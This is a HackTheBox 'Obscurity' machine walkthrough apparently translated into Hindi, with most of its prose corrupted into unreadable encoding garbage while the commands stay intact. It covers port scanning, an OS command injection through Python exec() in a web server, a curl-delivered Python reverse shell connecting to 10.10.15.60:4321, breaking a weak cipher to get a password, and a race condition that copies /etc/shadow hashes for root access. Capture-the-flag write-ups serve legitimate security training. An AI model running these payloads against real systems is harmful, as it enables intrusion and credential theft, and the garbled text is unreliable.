HackTheBoxред рдЕрд╕реНрдкрд╖реНрдЯрддрд╛ рдХрд╛ рдорд╛рд░реНрдЧред рдУрдПрд╕ рдХрдорд╛рдВрдб рдЗрдВрдЬреЗрдХреНрд╢рди рдФрд░ рд░реЗрд╕ рдХрдВрдбреАрд╢рди

рдЫрд╡рд┐

рдореИрдВ HackTheBox рд╕рд╛рдЗрдЯ рд╕реЗ рдЖрдЧреЗ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд▓рд┐рдП рднреЗрдЬреЗ рдЧрдП рд╕рдорд╛рдзрд╛рди рдкреНрд░рдХрд╛рд╢рд┐рдд рдХрд░рдирд╛ рдЬрд╛рд░реА рд░рдЦрддрд╛ рд╣реВрдВ ред

рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ, рд╣рдо рдЕрдЬрдЧрд░ рдХреЛрдб рдореЗрдВ рднреЗрджреНрдпрддрд╛ рдХрд╛ рдлрд╛рдпрджрд╛ рдЙрдард╛рддреЗ рд╣реИрдВ рдФрд░ рд░реЗрд╕ рдХрдВрдбреАрд╢рди рдЕрдЯреИрдХ рднреА рдХрд░рддреЗ рд╣реИрдВред

рдкреНрд░рдпреЛрдЧрд╢рд╛рд▓рд╛ рдХрд╛ рдХрдиреЗрдХреНрд╢рди рд╡реАрдкреАрдПрди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╣реИред рдпрд╣ рд╕рд▓рд╛рд╣ рджреА рдЬрд╛рддреА рд╣реИ рдХрд┐ рдХрд┐рд╕реА рдХрд╛рд░реНрдп рдХрдВрдкреНрдпреВрдЯрд░ рдпрд╛ рдХрд┐рд╕реА рд╣реЛрд╕реНрдЯ рд╕реЗ рдХрдиреЗрдХреНрдЯ рди рдХрд░реЗрдВ рдЬрд╣рд╛рдВ рдЖрдкрдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рдбреЗрдЯрд╛ рдЙрдкрд▓рдмреНрдз рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдЖрдк рдПрдХ рдирд┐рдЬреА рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рдРрд╕реЗ рд▓реЛрдЧреЛрдВ рдХреЗ рд╕рд╛рде рд░рд╣рддреЗ рд╣реИрдВ рдЬреЛ рд╕реВрдЪрдирд╛ рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рдХреНрд╖реЗрддреНрд░ рдореЗрдВ рдХреБрдЫ рдЬрд╛рдирддреЗ рд╣реИрдВ :)

рд╕рдВрдЧрдардирд╛рддреНрдордХ рдЬрд╛рдирдХрд╛рд░реА
, , Telegram . , , .

. , - , .

рдЯреЛрд╣


рдЗрд╕ рдорд╢реАрди рдХрд╛ IP рдкрддрд╛ 10.10.10.168 рд╣реИ, рдЬрд┐рд╕реЗ рдореИрдВ / etc / рдореЗрдЬрдмрд╛рдиреЛрдВ рдореЗрдВ рдЬреЛрдбрд╝рддрд╛ рд╣реВрдБред

10.10.10.168    obscurity.htb

рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рд╣рдо рдЦреБрд▓реЗ рдмрдВрджрд░рдЧрд╛рд╣реЛрдВ рдХреЛ рд╕реНрдХреИрди рдХрд░рддреЗ рд╣реИрдВред рдЪреВрдВрдХрд┐ рдиреИрдореНрдк рдХреЗ рд╕рд╛рде рд╕рднреА рдмрдВрджрд░рдЧрд╛рд╣реЛрдВ рдХреЛ рд╕реНрдХреИрди рдХрд░рдиреЗ рдореЗрдВ рд▓рдВрдмрд╛ рд╕рдордп рд▓рдЧрддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдореИрдВ рдЗрд╕реЗ рдкрд╣рд▓реЗ рдореИрд╕рдХреИрди рдХреЗ рд╕рд╛рде рдХрд░реВрдВрдЧрд╛ред рд╣рдо рдкреНрд░рддрд┐ рд╕реЗрдХрдВрдб 500 рдкреИрдХреЗрдЯ рдХреА рдЧрддрд┐ рд╕реЗ tun0 рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рд╕реЗ рд╕рднреА рдЯреАрд╕реАрдкреА рдФрд░ рдпреВрдбреАрдкреА рдкреЛрд░реНрдЯ рдХреЛ рд╕реНрдХреИрди рдХрд░рддреЗ рд╣реИрдВред

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.168 --rate=500

рдЫрд╡рд┐

рдЕрдм, рдмрдВрджрд░рдЧрд╛рд╣реЛрдВ рдкрд░ рдХрд╛рдо рдХрд░рдиреЗ рд╡рд╛рд▓реА рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рд╡рд┐рд╕реНрддреГрдд рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП, рд╣рдо -рдП рд╡рд┐рдХрд▓реНрдк рдХреЗ рд╕рд╛рде рдПрдХ рд╕реНрдХреИрди рдЪрд▓рд╛рдПрдВрдЧреЗред

nmap -A obscurity.htb -p22,8080

рдЫрд╡рд┐

рд╣реЛрд╕реНрдЯ SSH рд╕реЗрд╡рд╛ рдФрд░ рд╡реЗрдм рд╕рд░реНрд╡рд░ рдЪрд▓рд╛рддрд╛ рд╣реИред рд╣рдо рд╡реЗрдм рджреЗрдЦрдиреЗ рдЬрд╛рддреЗ рд╣реИрдВред

рдЫрд╡рд┐

рдЗрд╕ рдкреНрд░рдХрд╛рд░, рд╣рдорд╛рд░реЗ рдкрд╛рд╕:

  1. рд░рд┐рдХреЙрд░реНрдбрд┐рдВрдЧ рд╕рд░реНрд╡рд░
  2. рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХрд╛ рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд┐рдпрд╛
  3. рдХреБрдЫ рдЕрдЬреНрдЮрд╛рдд рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ SuperSecureServer.py рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╕рд░реНрд╡рд░ рдХреЛрдбред

рдЪреВрдБрдХрд┐ рд╣рдо рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдирд╛рдо рдЬрд╛рдирддреЗ рд╣реИрдВ, рдЖрдЗрдП рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЪрд▓рддреЗ рд╣реИрдВред рдЖрдЗрдП рдЗрд╕реЗ wfuzz рдХреЗ рд╕рд╛рде рдХрд░реЗрдВред рдПрдХ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд░реВрдк рдореЗрдВ, рд╣рдореЗрдВ рдЕрдирджреЗрдЦрд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╢рдмреНрджрдХреЛрд╢, URL рдФрд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛрдб рдкрд╛рд╕ рдХрд░рддреЗ рд╣реИрдВред

wfuzz -w /usr/share/dirb/wordlists/common.txt -u http://obscurity.htb:8080/FUZZ/SuperSecureServer.py --hc 404

рдЫрд╡рд┐

рдФрд░ рд╣рдо рдЗрд╕ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреЛ рдкрд╛рддреЗ рд╣реИрдВред рдЪрд▓реЛ рд╕рд░реНрд╡рд░ рдХреЛрдб рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВред

wget http://obscurity.htb:8080/develop/SuperSecureServer.py

рдкреНрд░рд╡реЗрд╢ рдмрд┐рдВрджреБ


рд╣рдо рд╕рд░реНрд╡рд░ рдХреЛ рдЦреЛрд▓рддреЗ рд╣реИрдВ рдФрд░ рдЙрд╕рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рддреЗ рд╣реИрдВред рд╣рдо рдирд┐рд╖реНрдкрд╛рджрди () рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рд╕рдВрднрд╛рд╡рд┐рдд рдЦрддрд░рдирд╛рдХ рдЙрдкрдпреЛрдЧ рдкрд╛рддреЗ рд╣реИрдВред

рдЫрд╡рд┐

рдХреЛрдб рдореЗрдВ рдХреБрдЫ рд▓рд╛рдЗрдиреЗрдВ рдЬреЛрдбрд╝рддреЗ рд╣реИрдВред

рдЫрд╡рд┐

рдЗрд╕рд▓рд┐рдП рд╣рдо рд╕рд░реНрд╡рд░ рдХреЛ рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ рд╢реБрд░реВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдирд┐рд╖реНрдкрд╛рджрди () рдлрд╝рдВрдХреНрд╢рди рдореЗрдВ рдХреНрдпрд╛ рдорд┐рд▓рддрд╛ рд╣реИред рдЪрд▓реЛ рд╕рд░реНрд╡рд░ рд╢реБрд░реВ рдХрд░реЗрдВ рдФрд░ рдПрдХ рдЕрдиреБрд░реЛрдз рднреЗрдЬреЗрдВред

curl http://127.0.0.1:33333/asd

рдЫрд╡рд┐

curl "http://127.0.0.1:33333/asd'"

рдЫрд╡рд┐

curl "http://127.0.0.1:33333/asd''"

рдЫрд╡рд┐

рдЗрд╕ рдкреНрд░рдХрд╛рд░, рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдУрдПрд╕ рдХрдорд╛рдВрдб рдЗрдВрдЬреЗрдХреНрд╢рди рд╣реИред

curl "http://127.0.0.1:33333/asd';os.system(\"whoami\");'"

рдЫрд╡рд┐

рд╣рдо рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд░рд┐рд╡рд░реНрд╕ рдкрд╛рдпрдерди рд╢реЗрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗред

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.15.60",4321));
os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

рдЪреВрдВрдХрд┐ рд╕рд░реНрд╡рд░ рдХреЛрдб рдореЗрдВ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдЖрд╡рд╢реНрдпрдХ рдореЙрдбреНрдпреВрд▓ рдХрд╛ рдЖрдпрд╛рдд рд╣реЛрддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рд╣рдо рдЙрдирдХреЗ рдЖрдпрд╛рдд рдХреЛ рд╢реЗрд▓ рд╕реЗ рд╣рдЯрд╛ рджреЗрддреЗ рд╣реИрдВред рд╣рдо рдЙрджреНрдзрд░рдг рдЪрд┐рд╣реНрдиреЛрдВ рдФрд░ рд╡рд░реНрдЧ рдХреЛрд╖реНрдардХреЛрдВ рд╕реЗ рднреА рдмрдЪрддреЗ рд╣реИрдВред

curl "http://127.0.0.1:33333/asd';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.60\",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\[\"/bin/sh\",\"-i\"\]);'"

рдЫрд╡рд┐

рдареАрдХ! рд╕рдм рдХреБрдЫ рд╕реНрдерд╛рдиреАрдп рдорд╢реАрди рдкрд░ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИред рдЖрдЗрдП рдЗрд╕ рдЕрдиреБрд░реЛрдз рдХреЛ рд╕рд░реНрд╡рд░ рдкрд░ рдЕрдорд▓ рдХрд░реЗрдВред

curl "http://obscurity.htb:8080/asd';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.60\",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\[\"/bin/sh\",\"-i\"\]);'"

рдЫрд╡рд┐

рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдПрдХ рдкреНрд░рд╡реЗрд╢ рдмрд┐рдВрджреБ рд╣реИред

рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛


рд╣рдо рд╕рд░реНрд╡рд░ рдкрд░ рдЪрд╛рд░реЛрдВ рдУрд░ рджреЗрдЦрддреЗ рд╣реИрдВ рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдШрд░ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рдкрдврд╝рдиреЗ рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдвреВрдВрдврддреЗ рд╣реИрдВред

рдЫрд╡рд┐

рд╣рдо рдлрд╛рдЗрд▓реЗрдВ рдкрдврд╝рддреЗ рд╣реИрдВред

рдЫрд╡рд┐

рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдлрд╝рд╛рдЗрд▓реЗрдВ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рд╣реИрдВред рд╡рд╣ рд╕рдм рдХреБрдЫ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ рдЬреЛ рд╣рдореЗрдВ рд╕реНрдерд╛рдиреАрдп рд╣реЛрд╕реНрдЯ рдХреЛ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рд╕рдВрджреЗрд╢ рдХрд╣рддрд╛ рд╣реИ рдХрд┐ check.txt рдлрд╝рд╛рдЗрд▓ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рд╣реИ, рдФрд░ рдкрд░рд┐рдгрд╛рдо out.txt рд╣реИред рдЖрдЗрдП рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо рджреЗрдЦреЗрдВред

рдЫрд╡рд┐

рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреЗ рджреМрд░рд╛рди, рдкрд╛рда рдкреНрд░рддреАрдХ рдФрд░ рдХреБрдВрдЬреА рдкреНрд░рддреАрдХ modulo 255 рдХрд╛ рдЬреЛрдбрд╝ рдШрдЯрд┐рдд рд╣реЛрддрд╛ рд╣реИред рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рддреЗ рд╕рдордп, рдЗрди рдкреНрд░рддреАрдХреЛрдВ рдХреЛ рдШрдЯрд╛ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

рд╡рд╣ рд╣реИ, ([check.txt] + [key]) 255 255 = out.txt рдФрд░ ([out.txt] - [key])% 255 = check.txtред рддрдм ([out.txt] - [check.txt])% 255 = рдХреБрдВрдЬреАред

рдЫрд╡рд┐

рдЫрд╡рд┐

рдФрд░ рдХреБрдВрдЬреА рдХреЛ рджреЗрдЦреЛред

рдЫрд╡рд┐

рдФрд░ рдЕрдм рдЗрд╕ рдХреБрдВрдЬреА рдкрд░ рд╣рдо рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкрд╛рд╕рд╡рд░реНрдб рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рддреЗ рд╣реИрдВред

рдЫрд╡рд┐

рд╣рдо рдЗрд╕ рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рд╕рд╛рде SSH рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдЭрдВрдбрд╛ рд▓реЗрддреЗ рд╣реИрдВред

рдЫрд╡рд┐

рдЬрдбрд╝


рдЖрдЗрдП sudo рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХреЛ рджреЗрдЦреЗрдВ, рдЕрд░реНрдерд╛рддреН, рдЪрд╛рд╣реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ robert рдХрд┐рд╕реА рднреА рдХрдорд╛рдВрдб рдХреЛ sudo рдХреЗ рдЕрдВрддрд░реНрдЧрдд рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рдмрд┐рдирд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред

рдЫрд╡рд┐

рдХреЛрдб рдХреЛ рджреЗрдЦрддреЗ рд╣реИрдВред рдХреЛрдб рдХреЛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдбреЗрдЯрд╛ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреАред рдлрд┐рд░ рдпрд╣ / etc / рдЫрд╛рдпрд╛ рдлрд╝рд╛рдЗрд▓ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ / tmp / SSH / * рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рдХреЙрдкреА рдХрд░рддрд╛ рд╣реИред рдлрд┐рд░ рдпрд╣ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдбреЗрдЯрд╛ рдХреЛ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░реЗрдЧрд╛ рдФрд░ рдлрд╝рд╛рдЗрд▓ рдХреЛ рд╣рдЯрд╛ рджреЗрдЧрд╛ред

рдЫрд╡рд┐

рдЫрд╡рд┐

рдЗрд╕ рдкреНрд░рдХрд╛рд░, рд╣рдореЗрдВ рдлрд╝рд╛рдЗрд▓ рдХреЛ рд╣рдЯрд╛рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ / tmp / SSH / * рд╕реЗ рдХреЙрдкреА рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред рджреВрд╕рд░рд╛ рдЯрд░реНрдорд┐рдирд▓ рдЪрд▓рд╛рдПрдВ рдФрд░ рдЙрд╕рдореЗрдВ рдПрдХ рдЕрдВрддрд╣реАрди рд░реАрдб рд╕рд╛рдЗрдХрд▓ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВред

for ((;;)) do cat /tmp/SSH/* 2>/dev/null && break ; done

рдЕрдм рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЛ рдЪрд▓рд╛рдПрдВ, рдХрд┐рд╕реА рднреА рдбреЗрдЯрд╛ рдХреЛ рджрд░реНрдЬ рдХрд░реЗрдВ рдФрд░ рд╣реИрд╢ рджреЗрдЦреЗрдВред

sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py

рдЫрд╡рд┐

рдФрд░ рд╡реЗ рдЖрд╕рд╛рдиреА рд╕реЗ рдЯреВрдЯ рдЬрд╛рддреЗ рд╣реИрдВред

рдЫрд╡рд┐

рд╣рдо рдЬрдбрд╝ рдХрд╛ рдЭрдВрдбрд╛ рд▓реЗрддреЗ рд╣реИрдВред

рдЫрд╡рд┐

рдЖрдк рд╣рдорд╕реЗ рдЯреЗрд▓реАрдЧреНрд░рд╛рдо рдкрд░ рдЬреБрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВ ред рд╡рд╣рд╛рдВ рдЖрдк рджрд┐рд▓рдЪрд╕реНрдк рд╕рд╛рдордЧреНрд░реА, рдорд░реНрдЬ рдХрд┐рдП рдЧрдП рдкрд╛рдареНрдпрдХреНрд░рдо, рд╕рд╛рде рд╣реА рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред рдЖрдЗрдП рдПрдХ рд╕рдореБрджрд╛рдп рдХреЛ рдПрдХ рд╕рд╛рде рд░рдЦреЗрдВ рдЬрд┐рд╕рдореЗрдВ рдРрд╕реЗ рд▓реЛрдЧ рд╣реЛрдВрдЧреЗ рдЬреЛ рдЖрдИрдЯреА рдХреЗ рдХрдИ рдХреНрд╖реЗрддреНрд░реЛрдВ рдореЗрдВ рдкрд╛рд░рдВрдЧрдд рд╣реИрдВ, рдлрд┐рд░ рд╣рдо рд╣рдореЗрд╢рд╛ рдХрд┐рд╕реА рднреА рдЖрдИрдЯреА рдФрд░ рд╕реВрдЪрдирд╛ рд╕реБрд░рдХреНрд╖рд╛ рдореБрджреНрджреЛрдВ рдкрд░ рдПрдХ рджреВрд╕рд░реЗ рдХреА рдорджрдж рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

All Articles